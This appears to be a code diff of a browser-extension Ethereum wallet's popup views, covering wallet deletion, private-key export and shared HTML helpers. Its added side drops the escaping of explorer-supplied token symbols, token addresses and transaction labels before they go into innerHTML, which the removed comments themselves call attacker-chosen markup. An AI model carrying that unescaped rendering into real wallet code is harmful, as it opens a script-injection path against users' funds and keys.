setFlash("No address is selected for removal.");
return;
}
const { walletIdx, addrIdx } = target;
if (!canRemoveAddress(state.wallets[walletIdx])) {
setFlash(
"This address cannot be removed, because a wallet always " +
"keeps at least one address.",
);
return;
}
const { removed, activeAddressChanged } = removeAddressFromState(
state,
walletIdx,
addrIdx,
);
if (!removed) {
setFlash("This address could not be removed.");
return;
}
target = null;
// Save before broadcasting: the background reads the active address
// back out of storage to build accountsChanged.
await saveState();
if (activeAddressChanged) broadcastActiveChanged();
ctx.renderWalletList();
goBack();
showFlash("Address removed.");
});
}
// recoveryPathText and balanceWarningHtml are exported so the two pieces of
// copy that carry the screen's substance can be tested without a DOM; show()
// is a one-line assignment for each.
module.exports = { init, show, recoveryPathText, balanceWarningHtml };

View File

@@ -1,233 +1,86 @@
const {
$,
showView,
showFlash,
goBack,
clearViewStack,
onViewLeave,
} = require("./helpers");
const { $, showView, showFlash, showError, hideError } = require("./helpers");
const { state, saveState } = require("../../shared/state");
const { decryptWithPassword } = require("../../shared/vault");
const {
removeWalletFromState,
broadcastActiveChanged,
} = require("../../shared/walletDelete");
let deleteWalletIndex = null;
let lostPasswordIndex = null;
let ctx = null;
// The name shown for a wallet, and on the lost-password screen the string
// the user has to type back. One function so the two cannot disagree: a
// confirmation that asks for a name other than the one on screen is
// unusable.
function displayName(walletIdx) {
const wallet = state.wallets[walletIdx];
return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
}
// What the typed confirmation and the wallet name are compared as. HTML
// collapses runs of whitespace when it renders the name, so a wallet named
// "My Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
// see the second space and cannot type a string that matches the stored
// name. Comparing collapsed on both sides is what keeps the confirmation
// satisfiable, on the one screen whose whole purpose is unwedging a user
// who is already stuck. Case and surrounding space go the same way.
function confirmKey(name) {
return name.trim().replace(/\s+/g, " ").toLowerCase();
}
// Drop the password from the DOM and the wallet selection from the
// closure. Registered as the view-leave handler as well as run on entry,
// so the typed password does not sit in the hidden view after the user
// navigates away by any route, including the Settings gear.
function clear() {
deleteWalletIndex = null;
$("delete-wallet-password").value = "";
$("delete-wallet-flash").textContent = "";
$("delete-wallet-flash").style.visibility = "hidden";
}
// The lost-password screen holds no secret — a wallet name is not one —
// but it is wiped on leave for the neighbouring reason: a typed
// confirmation left standing in a hidden view is one click away from
// destroying a wallet the user has since navigated off. The button is
// re-enabled here too, so a screen left mid-delete is usable on re-entry.
function clearLostPassword() {
lostPasswordIndex = null;
$("delete-wallet-lost-name-input").value = "";
$("delete-wallet-lost-flash").textContent = "";
$("delete-wallet-lost-flash").style.visibility = "hidden";
const btn = $("btn-delete-wallet-lost-confirm");
btn.disabled = false;
btn.classList.remove("text-muted");
}
function show(walletIdx) {
clear();
deleteWalletIndex = walletIdx;
$("delete-wallet-name").textContent = displayName(walletIdx);
const wallet = state.wallets[walletIdx];
$("delete-wallet-name").textContent =
wallet.name || "Wallet " + (walletIdx + 1);
$("delete-wallet-password").value = "";
hideError("delete-wallet-error");
showView("delete-wallet-confirm");
}
// The two delete screens are siblings, not parent and child: nothing is
// pushed on the way here, and Back goes to show() rather than goBack().
// Both then have the same Back target — Settings, the screen that pushed
// delete-wallet-confirm — and re-entering through show() hands the confirm
// screen its wallet selection back, which a bare goBack() onto a view
// whose leave hook has already nulled that selection would not.
function showLostPassword() {
const walletIdx = deleteWalletIndex;
if (walletIdx === null) {
goBack();
return;
}
const name = displayName(walletIdx);
clearLostPassword();
$("delete-wallet-lost-name").textContent = name;
$("delete-wallet-lost-name-echo").textContent = name;
// showView() runs the leave hook of delete-wallet-confirm, which nulls
// deleteWalletIndex, so this screen's own selection is recorded after
// it and not before.
showView("delete-wallet-lost-password");
lostPasswordIndex = walletIdx;
}
// Remove the wallet and put the user somewhere sensible. Shared by both
// routes onto this screen, so the selection repair, the site-permission
// cleanup and the accountsChanged broadcast cannot drift apart between
// them.
async function finishDelete(walletIdx) {
const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
deleteWalletIndex = null;
lostPasswordIndex = null;
if (!state.hasWallet) {
clearViewStack();
await saveState();
// Save before broadcasting: the background reads the active
// address back out of storage to build accountsChanged.
if (activeAddressChanged) broadcastActiveChanged();
showView("welcome");
return;
}
await saveState();
if (activeAddressChanged) broadcastActiveChanged();
// Reset stack to [main] so Settings back goes home.
// Use require() lazily to avoid circular dependency
// (settings.js requires deleteWallet.js).
clearViewStack();
state.viewStack.push("main");
ctx.renderWalletList();
const settings = require("./settings");
settings.show();
showFlash("Wallet deleted.");
}
function init(_ctx) {
ctx = _ctx;
onViewLeave("delete-wallet-confirm", clear);
onViewLeave("delete-wallet-lost-password", clearLostPassword);
// No wipe here: goBack() routes through showView(), which runs the
// leave hook.
$("btn-delete-wallet-back").addEventListener("click", () => {
goBack();
});
// The escape hatch, and deliberately not gated on anything a user who
// has lost the password cannot produce. A password in front of
// DISCARDING a secret protects nobody: an attacker at the popup who
// wants the wallet gone can uninstall the extension, so the only
// person such a gate stops is the owner who forgot it — and before
// this route existed that owner could neither delete the wallet nor
// import its recovery phrase again, because AddWallet refuses the xpub
// as a duplicate while the wallet is still stored.
$("btn-delete-wallet-lost-password").addEventListener("click", () => {
showLostPassword();
});
$("btn-delete-wallet-lost-back").addEventListener("click", () => {
const walletIdx = lostPasswordIndex;
if (walletIdx === null) {
goBack();
return;
}
show(walletIdx);
});
$("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
if (lostPasswordIndex === null) {
$("delete-wallet-lost-flash").textContent =
"No wallet selected for deletion.";
$("delete-wallet-lost-flash").style.visibility = "visible";
return;
}
// Case, surrounding spaces and repeated inner spaces are not part
// of the confirmation; see confirmKey(). This asks whether the
// user knows which wallet they are on; it is not a secret, and
// refusing "wallet 2" for "Wallet 2" would only teach the user to
// distrust the control.
const typed = $("delete-wallet-lost-name-input").value;
const expected = displayName(lostPasswordIndex);
if (confirmKey(typed) !== confirmKey(expected)) {
$("delete-wallet-lost-flash").textContent =
"That is not the name of this wallet. Type " +
expected +
" to confirm.";
$("delete-wallet-lost-flash").style.visibility = "visible";
return;
}
const btn = $("btn-delete-wallet-lost-confirm");
btn.disabled = true;
btn.classList.add("text-muted");
// finishDelete() navigates, and the leave hook re-enables the
// button and wipes the typed name on the way out.
await finishDelete(lostPasswordIndex);
deleteWalletIndex = null;
ctx.showSettingsView();
});
$("btn-delete-wallet-confirm").addEventListener("click", async () => {
const pw = $("delete-wallet-password").value;
if (!pw) {
$("delete-wallet-flash").textContent =
"Please enter your password.";
$("delete-wallet-flash").style.visibility = "visible";
showError("delete-wallet-error", "Please enter your password.");
return;
}
if (deleteWalletIndex === null) {
$("delete-wallet-flash").textContent =
"No wallet selected for deletion.";
$("delete-wallet-flash").style.visibility = "visible";
showError(
"delete-wallet-error",
"No wallet selected for deletion.",
);
return;
}
const btn = $("btn-delete-wallet-confirm");
btn.disabled = true;
btn.classList.add("text-muted");
const walletIdx = deleteWalletIndex;
const wallet = state.wallets[walletIdx];
// Verify password against the wallet's encrypted data
try {
await decryptWithPassword(wallet.encryptedSecret, pw);
} catch {
$("delete-wallet-flash").textContent =
"That password is incorrect. Please try again.";
$("delete-wallet-flash").style.visibility = "visible";
btn.disabled = false;
btn.classList.remove("text-muted");
} catch (_e) {
showError("delete-wallet-error", "Wrong password.");
return;
}
await finishDelete(walletIdx);
// Collect addresses to clean up from allowedSites/deniedSites
const addresses = (wallet.addresses || []).map((a) => a.address);
// Remove wallet
state.wallets.splice(walletIdx, 1);
// Clean up site permissions for deleted addresses
for (const addr of addresses) {
delete state.allowedSites[addr];
delete state.deniedSites[addr];
}
deleteWalletIndex = null;
if (state.wallets.length === 0) {
// No wallets left — reset selection and show welcome
state.selectedWallet = null;
state.selectedAddress = null;
state.activeAddress = null;
await saveState();
showView("welcome");
} else {
// Switch to first wallet if deleted wallet was active
state.selectedWallet = 0;
state.selectedAddress = 0;
state.activeAddress =
state.wallets[0].addresses[0]?.address || null;
await saveState();
ctx.renderWalletList();
ctx.showSettingsView();
showFlash("Wallet deleted.");
}
});
}

View File

@@ -1,174 +0,0 @@
// Private key export for a single address.
//
// The key controls the address outright — anyone holding it can move every
// token in it, from any device, forever — so this screen is handled under
// the same rules as the recovery phrase screen (./showPhrase.js):
//
// 1. Nothing is decrypted, no key is derived, and nothing is written into
// the DOM until decryptWithPassword has accepted the password.
// 2. Leaving the screen by any path wipes it, via the onViewLeave hook,
// and a decrypt still in flight when that happens is discarded
// instead of written (revealGeneration).
// 3. The key never reaches the logger. This module deliberately does not
// import src/shared/log.js.
//
// The key is also never assigned to `state`, so it cannot be persisted to
// extension storage, and "export-privkey" is excluded from RESTORABLE_VIEWS
// so the popup can never reopen onto it.
const {
$,
showView,
showFlash,
flashCopyFeedback,
goBack,
onViewLeave,
pushCurrentView,
renderAddressHtml,
attachCopyHandlers,
} = require("./helpers");
const { state } = require("../../shared/state");
const { decryptWithPassword } = require("../../shared/vault");
const { getSignerForAddress } = require("../../shared/wallet");
const makeBlockie = require("ethereum-blockies-base64");
const VIEW = "export-privkey";
let walletIndex = null;
let addressIndex = null;
// Bumped by every clear(), which is what leaving the screen runs. reveal()
// captures it before awaiting the decrypt and refuses to touch the DOM if
// it has moved: a decrypt still in flight when the screen is left would
// otherwise write the key *after* the wipe, with nothing scheduled to wipe
// it again, leaving it in the hidden view for the life of the popup.
let revealGeneration = 0;
// True only if the reveal that captured `generation` is still the live one:
// the screen has not been left, cleared, or re-entered for another address
// since it started.
function isCurrentReveal(generation) {
return (
generation === revealGeneration &&
walletIndex !== null &&
addressIndex !== null &&
state.currentView === VIEW
);
}
function fail(message) {
$("export-privkey-flash").textContent = message;
$("export-privkey-flash").style.visibility = "visible";
}
// Wipe every trace of the key and drop the address selection. Safe to call
// when nothing was ever revealed, and safe to call twice.
function clear() {
walletIndex = null;
addressIndex = null;
revealGeneration += 1;
$("export-privkey-value").textContent = "";
$("export-privkey-password").value = "";
$("export-privkey-result").classList.add("hidden");
$("export-privkey-password-section").classList.remove("hidden");
$("export-privkey-flash").textContent = "";
$("export-privkey-flash").style.visibility = "hidden";
}
function show(walletIdx, addrIdx) {
const wallet = state.wallets[walletIdx];
const addr = wallet && wallet.addresses[addrIdx];
if (!addr) {
showFlash("That address is no longer available.");
return;
}
clear();
walletIndex = walletIdx;
addressIndex = addrIdx;
const blockieEl = $("export-privkey-jazzicon");
blockieEl.innerHTML = "";
const img = document.createElement("img");
img.src = makeBlockie(addr.address);
img.width = 48;
img.height = 48;
img.style.imageRendering = "pixelated";
img.style.borderRadius = "50%";
blockieEl.appendChild(img);
$("export-privkey-title").textContent =
wallet.name + " — Address " + (addrIdx + 1);
const addrContainer = $("export-privkey-dot").parentElement;
addrContainer.innerHTML = renderAddressHtml(addr.address);
attachCopyHandlers(addrContainer);
// Pushed here rather than by the caller: this function can return
// without navigating, and a push that happened anyway would leave an
// entry on the stack that no screen transition matches.
pushCurrentView();
showView(VIEW);
}
async function reveal() {
const password = $("export-privkey-password").value;
if (!password) {
fail("Please enter your password.");
return;
}
if (walletIndex === null) {
fail("No address is selected.");
return;
}
const wallet = state.wallets[walletIndex];
const btn = $("btn-export-privkey-confirm");
btn.disabled = true;
btn.classList.add("text-muted");
const generation = revealGeneration;
try {
const secret = await decryptWithPassword(
wallet.encryptedSecret,
password,
);
// The only suspension point in this view, and the gate on the only
// place a secret is written: if the screen was left while the
// decrypt ran, the wipe has already happened, so the key is not
// even derived, let alone written.
if (!isCurrentReveal(generation)) return;
const signer = getSignerForAddress(wallet, addressIndex, secret);
$("export-privkey-password").value = "";
$("export-privkey-password-section").classList.add("hidden");
$("export-privkey-value").textContent = signer.privateKey;
$("export-privkey-result").classList.remove("hidden");
$("export-privkey-flash").textContent = "";
$("export-privkey-flash").style.visibility = "hidden";
} catch {
if (!isCurrentReveal(generation)) return;
fail("That password is incorrect. Please try again.");
} finally {
btn.disabled = false;
btn.classList.remove("text-muted");
}
}
function init() {
onViewLeave(VIEW, clear);
// No wipe here: goBack() routes through showView(), which runs the
// leave hook. A per-button wipe would only cover this one path.
$("btn-export-privkey-back").addEventListener("click", () => {
goBack();
});
$("btn-export-privkey-confirm").addEventListener("click", reveal);
$("export-privkey-value").addEventListener("click", () => {
const key = $("export-privkey-value").textContent;
if (!key) return;
navigator.clipboard.writeText(key);
showFlash("Copied!");
flashCopyFeedback($("export-privkey-value"));
});
}
module.exports = { init, show };

View File

@@ -1,29 +1,19 @@
// Shared DOM helpers used by all views.
//
// Escaping rule for every view in this directory, since they all build
// markup by concatenation: any VALUE interpolated into an innerHTML string
// goes through escapeHtml(), whatever its provenance looks like today. The
// only interpolations left bare are markup FRAGMENTS this code just built
// (a rendered dot, an icon, a composed row), which escaping would turn into
// visible angle brackets, and locally computed numbers and loop indices.
// The distinction is meant to be greppable: an unescaped `${` next to a
// name that reads like data is a defect.
// escapeHtml lives in src/shared/html.js, where the escape and the
// reasoning behind it are; it is re-exported below so views keep importing
// it from here.
const { escapeHtml } = require("../../shared/html");
const { isDebug } = require("../../shared/log");
const { formatUsd, getPrice } = require("../../shared/prices");
const { state, saveState, currentNetwork } = require("../../shared/state");
const { displaySymbol } = require("../../shared/symbolDisplay");
const { markViewRendered } = require("../viewRouter");
const { DEBUG } = require("../../shared/constants");
const {
formatUsd,
getPrice,
getAddressValueUsd,
} = require("../../shared/prices");
const { state, saveState } = require("../../shared/state");
// When views are added, removed, or transitions between them change,
// update the view-navigation documentation in README.md to match.
const VIEWS = [
"welcome",
"add-wallet",
"import-key",
"main",
"address",
"address-token",
@@ -36,33 +26,14 @@ const VIEWS = [
"add-token",
"settings",
"delete-wallet-confirm",
"delete-wallet-lost-password",
"delete-address-confirm",
"settings-addtoken",
"transaction",
"approve-site",
"approve-tx",
"approve-sign",
"export-privkey",
"show-phrase",
// Shown by src/popup/views/stateRecovery.js when the stored profile
// cannot be read. It is never reached through showView() — by then the
// state singleton this file writes on every navigation refuses to be read
// — but it is listed so that every view-hiding loop covers it.
"state-recovery",
];
// Cleanup callbacks for views that hold a secret in the DOM. The view
// registers one for itself and showView() runs it whenever that view is
// navigated away from, so the secret is wiped no matter which control
// caused the navigation — "Back", the settings gear, or a jump from
// anywhere else. A per-button clear would only cover the one path.
const viewLeaveHandlers = new Map();
function onViewLeave(name, fn) {
viewLeaveHandlers.set(name, fn);
}
function $(id) {
return document.getElementById(id);
}
@@ -70,21 +41,14 @@ function $(id) {
function showError(id, msg) {
const el = $(id);
el.textContent = msg;
el.style.visibility = "visible";
el.classList.remove("hidden");
}
function hideError(id) {
const el = $(id);
el.textContent = "";
el.style.visibility = "hidden";
$(id).classList.add("hidden");
}
function showView(name) {
const leaving = state.currentView;
if (leaving && leaving !== name) {
const onLeave = viewLeaveHandlers.get(leaving);
if (onLeave) onLeave();
}
for (const v of VIEWS) {
const el = document.getElementById(`view-${v}`);
if (el) {
@@ -93,89 +57,13 @@ function showView(name) {
}
clearFlash();
state.currentView = name;
// A view's show() ends here, so this is where the Back path learns the
// view is no longer the blank template from index.html and must not be
// rendered a second time. See viewRouter.js.
markViewRendered(name);
saveState();
updateDebugBanner(name);
}
// Create or update the debug/insecure warning banner.
// Called on every view switch and after the settings debug toggle changes.
// The banner is shown when the compile-time DEBUG constant is true OR when
// the user has enabled runtime debug mode via the settings easter egg, OR
// when the active network is a testnet.
function updateDebugBanner(viewName) {
const debug = isDebug();
const net = currentNetwork();
const show = debug || net.isTestnet;
let banner = document.getElementById("debug-banner");
if (show) {
if (!banner) {
banner = document.createElement("div");
banner.id = "debug-banner";
banner.style.cssText =
"background:#c00;color:#fff;text-align:center;font-size:10px;padding:1px 0;font-family:monospace;position:sticky;top:0;z-index:9999;";
document.body.prepend(banner);
}
const suffix = viewName ? " (" + viewName + ")" : "";
if (debug && net.isTestnet) {
banner.textContent = "DEBUG / INSECURE [TESTNET]" + suffix;
} else if (net.isTestnet) {
banner.textContent = "[TESTNET]" + suffix;
} else {
banner.textContent = "DEBUG / INSECURE" + suffix;
}
} else if (banner) {
banner.remove();
if (DEBUG) {
const banner = document.getElementById("debug-banner");
if (banner) {
banner.textContent = "DEBUG / INSECURE (" + name + ")";
}
}
// Callback that renders a view being navigated BACK onto. Set once by
// index.js via setBackRenderer(), which routes the view through the same
// per-view render and data guards restoreView() uses.
//
// It answers true when it took the navigation — the view is rendered and
// shown, or its backing data was gone and it fell back — and false for a
// view the popup does not render from persisted state. Those can only be
// on the stack from this page load, because the stack is filtered on load,
// so they have already been rendered and only need unhiding.
let _renderBack = null;
function setBackRenderer(fn) {
_renderBack = fn;
}
// Push the current view onto the navigation stack so goBack() can
// return to it. Call this before any forward navigation.
function pushCurrentView() {
if (state.currentView) {
state.viewStack.push(state.currentView);
}
}
// Pop the navigation stack and show the previous view. If the stack
// is empty, fall back to the main (home) view.
function goBack() {
let target;
if (state.viewStack.length > 0) {
target = state.viewStack.pop();
} else {
target = "main";
}
// A popped view is landed on, not navigated to. If the popup has been
// closed and reopened since the view was pushed, nothing has ever
// rendered it in this page load and its template is still blank, so it
// has to be rendered here rather than merely unhidden.
if (_renderBack && _renderBack(target)) return;
showView(target);
}
// Clear the entire navigation stack (used when resetting to root,
// e.g. after adding or deleting a wallet).
function clearViewStack() {
state.viewStack = [];
}
let flashTimer = null;
@@ -197,44 +85,17 @@ function showFlash(msg, duration = 2000) {
}, duration);
}
// One row of the balance list: symbol, quantity, fiat value.
//
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
// so it is attacker-chosen markup until it has been through escapeHtml, and
// attacker-chosen length until it has been through displaySymbol. This is
// the row that issue #307 was reported against: every screen that lists a
// holding renders through here.
//
// `amount` is null for a holding whose scale nothing knows
// (https://git.eeqj.de/sneak/AutistMask/issues/349). There is no quantity to
// print for it and no fiat value to derive from one, and printing 0.0000 for
// a real holding is the failure this whole rule exists to prevent, so the row
// says so instead.
// A stored token balance as a number, or null when there is no number in it.
// balances.js writes null for a holding whose scale nothing knows, and this
// keeps that null from becoming a zero one dereference later.
function unknownableAmount(balance) {
if (balance == null) return null;
const n = parseFloat(balance);
return Number.isFinite(n) ? n : null;
}
function balanceLine(symbol, amount, price, tokenId) {
const qty = amount === null ? "quantity unknown" : amount.toFixed(4);
const usd =
price && amount !== null
? formatUsd(amount * price) || "&nbsp;"
: "&nbsp;";
// tokenId is a contract address out of the same explorer JSON, and it
// lands inside a quoted attribute.
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
const qty = amount.toFixed(4);
const usd = price ? formatUsd(amount * price) || "&nbsp;" : "&nbsp;";
const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
const clickClass = tokenId
? " cursor-pointer hover:bg-hover balance-row"
: "";
return (
`<div class="flex text-xs${clickClass}"${tokenAttr}>` +
`<span class="flex justify-between" style="width:42ch;max-width:100%">` +
`<span>${escapeHtml(displaySymbol(symbol))}</span>` +
`<span>${symbol}</span>` +
`<span>${qty}</span>` +
`</span>` +
`<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -251,12 +112,7 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
);
const seen = new Set();
for (const t of addr.tokenBalances || []) {
// A null balance is a holding of an unstatable amount, not a holding
// of zero, so the show-zero setting has no say over it: hiding it
// would be asserting the zero nobody established. Anything that does
// not parse to a finite number is unknown for the same reason — the
// `|| "0"` this replaced turned both into a confident zero.
const bal = unknownableAmount(t.balance);
const bal = parseFloat(t.balance || "0");
if (bal === 0 && !showZero) continue;
html += balanceLine(
t.symbol,
@@ -280,25 +136,6 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
return html;
}
// Whether an address holds anything at all: ETH or any ERC-20 the wallet
// knows about. Deliberately unrounded — the rendered lines round to four
// decimals, so a dust balance displays as 0.0000 while still being real
// money at a real address. Callers that warn about holdings must ask this,
// not the rendered figure.
function addressHoldsFunds(addr) {
if (!addr) return false;
if (parseFloat(addr.balance || "0") > 0) return true;
for (const t of addr.tokenBalances || []) {
// A null balance is a holding whose amount could not be stated —
// balances.js drops a row of zero base units before the scale is
// consulted, so a row that survived with no quantity is holding
// something. Warning about funds must err towards warning.
const bal = unknownableAmount(t.balance);
if (bal === null || bal > 0) return true;
}
return false;
}
// Truncate the middle of a string, replacing removed characters with "…".
// Safety: refuses to truncate more than 10 characters, which is the maximum
// that still prevents address spoofing attacks (see Display Consistency in
@@ -346,6 +183,12 @@ function addressDotHtml(address) {
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
}
function escapeHtml(s) {
const div = document.createElement("div");
div.textContent = s;
return div.innerHTML;
}
// Look up an address across all wallets and return its title
// (e.g. "Address 1.2") or null if it's not one of ours.
function addressTitle(address, wallets) {
@@ -364,47 +207,38 @@ function addressTitle(address, wallets) {
// Render an address with color dot, optional ENS name, optional title,
// and optional truncation. Title and ENS are shown as bold labels above
// the full address.
// Delegates to renderAddressHtml for consistent output.
function formatAddressHtml(address, ensName, maxLen, title) {
return renderAddressHtml(address, { title, ensName, maxLen });
const dot = addressDotHtml(address);
const displayAddr = maxLen ? truncateMiddle(address, maxLen) : address;
if (title || ensName) {
let html = "";
if (title) {
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
}
if (ensName) {
html += `<div class="flex items-center font-bold">${title ? "" : dot}${escapeHtml(ensName)}</div>`;
}
html += `<div class="break-all">${escapeHtml(displayAddr)}</div>`;
return html;
}
return `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(displayAddr)}</span></div>`;
}
function isoDate(timestamp) {
const d = new Date(timestamp * 1000);
const pad = (n) => String(n).padStart(2, "0");
if (state.utcTimestamps) {
return (
d.getUTCFullYear() +
"-" +
pad(d.getUTCMonth() + 1) +
"-" +
pad(d.getUTCDate()) +
"T" +
pad(d.getUTCHours()) +
":" +
pad(d.getUTCMinutes()) +
":" +
pad(d.getUTCSeconds()) +
"Z"
);
}
const offsetMin = -d.getTimezoneOffset();
const sign = offsetMin >= 0 ? "+" : "-";
const absOff = Math.abs(offsetMin);
const tzStr = sign + pad(Math.floor(absOff / 60)) + ":" + pad(absOff % 60);
return (
d.getFullYear() +
"-" +
pad(d.getMonth() + 1) +
"-" +
pad(d.getDate()) +
"T" +
" " +
pad(d.getHours()) +
":" +
pad(d.getMinutes()) +
":" +
pad(d.getSeconds()) +
tzStr
pad(d.getSeconds())
);
}
@@ -425,148 +259,19 @@ function timeAgo(timestamp) {
return years + " year" + (years !== 1 ? "s" : "") + " ago";
}
// Shared external-link icon SVG used across all views.
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
// Block-explorer URLs. The origin is a per-network constant from
// src/shared/networks.js; only the path segment is data, and it comes out
// of explorer JSON (a transaction's from/to, a token's address_hash), which
// nothing upstream validates as hex. percent-encoding it keeps a segment
// that contains a slash, a query or a fragment from re-pointing the link
// somewhere else in the explorer.
function explorerUrl(kind, value) {
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
}
function etherscanAddressUrl(address) {
return explorerUrl("address", address);
}
// The URL still has to be escaped on the way into href="...": encoding
// governs what the URL means, escaping governs whether it stays inside the
// attribute.
function etherscanLinkHtml(url) {
return (
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
`class="inline-flex items-center">${EXT_ICON}</a>`
);
}
// Render a copyable text span with dashed underline affordance.
// The caller must attach click handlers via attachCopyHandlers() or
// manually wire up [data-copy] elements after inserting the HTML.
function copyableHtml(text, extraClass) {
const cls =
"underline decoration-dashed cursor-pointer" +
(extraClass ? " " + extraClass : "");
return `<span class="${cls}" data-copy="${escapeHtml(text)}">${escapeHtml(text)}</span>`;
}
// Attach click-to-copy handlers to all [data-copy] elements within
// a container. Safe to call multiple times on the same container.
function attachCopyHandlers(container) {
const root =
typeof container === "string"
? document.getElementById(container)
: container;
if (!root) return;
root.querySelectorAll("[data-copy]").forEach((el) => {
el.onclick = () => {
navigator.clipboard.writeText(el.dataset.copy);
showFlash("Copied!");
flashCopyFeedback(el);
};
});
}
// Unified address rendering.
//
// Produces consistent HTML for any Ethereum address:
// • Color dot
// • Optional title (e.g. "Wallet 1 — Address 2") shown bold above address
// • Optional ENS name shown bold above address
// • Full address (or truncated via maxLen) with dashed-underline click-to-copy
// • Etherscan external link icon
//
// Options object:
// title — wallet title string (from addressTitle)
// ensName — ENS name string
// maxLen — if set, truncate address display (min 32 chars enforced)
// noLink — if true, omit etherscan link
//
// After inserting the returned HTML into the DOM, call
// attachCopyHandlers() on the parent to wire up click-to-copy.
function renderAddressHtml(address, opts) {
const { title, ensName, maxLen, noLink } = opts || {};
const dot = addressDotHtml(address);
const displayAddr = maxLen ? truncateMiddle(address, maxLen) : address;
const link = etherscanAddressUrl(address);
const extLink = noLink ? "" : etherscanLinkHtml(link);
let html = "";
if (title) {
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
}
if (ensName) {
html += `<div class="flex items-center font-bold">${title ? "" : dot}${escapeHtml(ensName)}</div>`;
}
if (title || ensName) {
html += `<div class="flex items-center">${copyableHtml(displayAddr, "break-all")}${extLink}</div>`;
} else {
html += `<div class="flex items-center">${dot}${copyableHtml(displayAddr, "break-all")}${extLink}</div>`;
}
return html;
}
function flashCopyFeedback(el) {
if (!el) return;
el.classList.remove("copy-flash-fade");
el.classList.add("copy-flash-active");
setTimeout(() => {
el.classList.remove("copy-flash-active");
el.classList.add("copy-flash-fade");
setTimeout(() => {
el.classList.remove("copy-flash-fade");
}, 275);
}, 75);
}
module.exports = {
VIEWS,
$,
showError,
hideError,
showView,
onViewLeave,
updateDebugBanner,
setBackRenderer,
pushCurrentView,
goBack,
clearViewStack,
showFlash,
flashCopyFeedback,
balanceLine,
balanceLinesForAddress,
addressHoldsFunds,
unknownableAmount,
addressColor,
addressDotHtml,
escapeHtml,
displaySymbol,
addressTitle,
formatAddressHtml,
renderAddressHtml,
copyableHtml,
attachCopyHandlers,
etherscanAddressUrl,
etherscanLinkHtml,
explorerUrl,
EXT_ICON,
truncateMiddle,
isoDate,
timeAgo,

View File

@@ -8,30 +8,19 @@ const {
addressDotHtml,
addressTitle,
escapeHtml,
displaySymbol,
truncateMiddle,
renderAddressHtml,
attachCopyHandlers,
pushCurrentView,
} = require("./helpers");
const { state, saveState, currentAddress } = require("../../shared/state");
const { notify } = require("../../shared/browserApi");
const {
updateSendBalance,
renderSendTokenSelect,
resetSendValidation,
} = require("./send");
const { deriveAddressFromXpub } = require("../../shared/wallet");
const { canRemoveAddress } = require("../../shared/walletDelete");
const {
walletDefect,
walletDefectHtml,
} = require("../../shared/walletDefects");
const {
formatUsd,
formatAddressTotal,
getPrice,
getAddressValue,
getAddressValueUsd,
} = require("../../shared/prices");
const {
fetchRecentTransactions,
@@ -73,16 +62,33 @@ function renderTotalValue() {
el.textContent = ethStr + ethUsd;
if (subEl) {
subEl.innerHTML = formatAddressTotal(getAddressValue(addr)) || "&nbsp;";
const totalUsd = getAddressValueUsd(addr);
subEl.innerHTML =
totalUsd !== null ? "Total: " + formatUsd(totalUsd) : "&nbsp;";
}
}
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function renderActiveAddress() {
const el = $("active-address-display");
if (!el) return;
if (state.activeAddress) {
el.innerHTML = renderAddressHtml(state.activeAddress);
attachCopyHandlers(el);
const addr = state.activeAddress;
const dot = addressDotHtml(addr);
const link = `https://etherscan.io/address/${addr}`;
el.innerHTML =
`<span class="underline decoration-dashed cursor-pointer" id="active-addr-copy">${dot}${escapeHtml(addr)}</span>` +
`<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
$("active-addr-copy").addEventListener("click", () => {
navigator.clipboard.writeText(addr);
showFlash("Copied!");
});
} else {
el.textContent = "";
}
@@ -110,13 +116,10 @@ function renderHomeTxList(ctx) {
: tx.direction === "sent" || tx.direction === "contract"
? tx.to
: tx.from;
// directionLabel is the explorer's own method name for a contract
// call, title-cased — attacker-chosen for an attacker's contract.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const dirLabel = tx.directionLabel;
const amountStr = tx.value
? escapeHtml(tx.value + " " + sym)
: escapeHtml(sym);
? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(tx.symbol);
const title = addressTitle(counterparty, state.wallets);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -171,7 +174,6 @@ async function loadHomeTxs(ctx) {
if (allAddresses.length === 0) return;
const filters = {
hideSpoofedSymbols: state.hideSpoofedSymbols,
hideLowHolderTokens: state.hideLowHolderTokens,
hideFraudContracts: state.hideFraudContracts,
hideDustTransactions: state.hideDustTransactions,
@@ -222,62 +224,6 @@ async function loadHomeTxs(ctx) {
}
}
// The wallet list markup. Pure: it reads state and returns a string, so the
// list can be asserted on without a DOM.
function walletListHtml() {
let html = "";
state.wallets.forEach((wallet, wi) => {
